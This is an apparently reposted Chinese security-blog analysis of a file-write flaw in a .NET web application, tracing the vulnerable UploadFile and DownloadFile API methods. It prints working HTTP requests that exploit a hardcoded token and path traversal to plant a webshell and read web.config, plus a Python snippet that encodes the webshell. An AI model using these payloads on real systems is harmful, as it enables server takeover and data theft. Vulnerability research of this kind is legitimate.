扫码领资料
获网安教程
前段时间看到公开了一个漏洞payload很奇怪,正好有空就分析了一下,也是第一次接触了.net的代码审计,一通分析下来,发现和审计java和php的思路是一样的...
文章来源: https://forum.butian.net/share/2776
文章作者:中铁13层打工人
如有侵权请您联系我们,我们会进行删除并致歉
bin
文件下,这一点和java写的程序中将jar都放在WEB-INF/lib
中类似。.NET的DLL和Java的JAR都是用于打包和分发代码的文件格式。.NET的DLL是用于.NET Framework的动态链接库,而Java的JAR是用于Java平台的Java归档文件。dnspy fork:only
搜索到仍有非官方的爱好者对该工具进行维护,例如项目地址:dnSpy。0x01 路由分析
Global.asax
,他 是 ASP.NET 应用程序中的一个文件,它作为处理应用程序级事件和自定义应用程序行为的中心位置。通常被称为全局应用程序类。其中的Inherits
中定义了定义供页继承的代码隐藏类Application_Start
中定义了在应用程序启动时运行的代码WebApiConfig.Register
可以看到这里定义了通过api访问的路由,定义了包含控制器和方法WebApi.Areas.Api.Controllers
命名空间中寻找到所有控制器和方法0x02 漏洞分析
POST /api/files/UploadFile HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Content-Length: 1926
token=zxh&FileName=/../../manager/a.aspx&pathType=1&fs=[60,37,64,...]
/api/files/UploadFile
锁定WebApi.Areas.Api.Controllers.filesController.UploadFile
方法base.IsAuthorityCheck()
进行鉴权byValue
通过参数token
获得,并且这里判断的内容直接被硬编码,所以直接token=zxh
即可return new UserInfo();
fs = JsonConvert.DeserializeObject<byte[]>(base.getByValue("fs"));
JsonConvert.DeserializeObject<byte[]>
是使用 Json.NET 库(Newtonsoft.Json)中的 JsonConvert
类来将 JSON 字符串反序列化为 byte[]
数组的过程。所以这里只需要传入一个数组就可以了SingleBase<fileServices>.Instance.UploadFile(fs, FileName, pathType)
中WriterTo
写入,所以可以用python生成一个webshell的字节数据webshell = '<%now()%>'
print(str([ord(x) for x in webshell]).replace(' ', ''))
pathType
决定的,在GetFolderPathByType
中定义了pathType
的值对应的路径web.config
中定义了各个值对应的路径,但是程序实在manage里,如果上传到这些目录也无法访问到memoryStream.WriteTo(fileStream);
将webshell写入0x03 more
1、任意文件写入
UploadBillFile2
原理也是一样的,只不过是上传的路径变了,依然可以利用文件名进行目录穿梭上传到web目录下。Path.GetTempPath()
获取的,也就是说只能上传到%TMP%
目录下,但依然可以路径穿越到启动目录上传木马等。2、任意文件读取
POST /api/files/DownloadFile HTTP/1.1
token=zxh&requestFileName=../../manager/web.config&pathType=1
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):某.net程序文件写入漏洞分析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论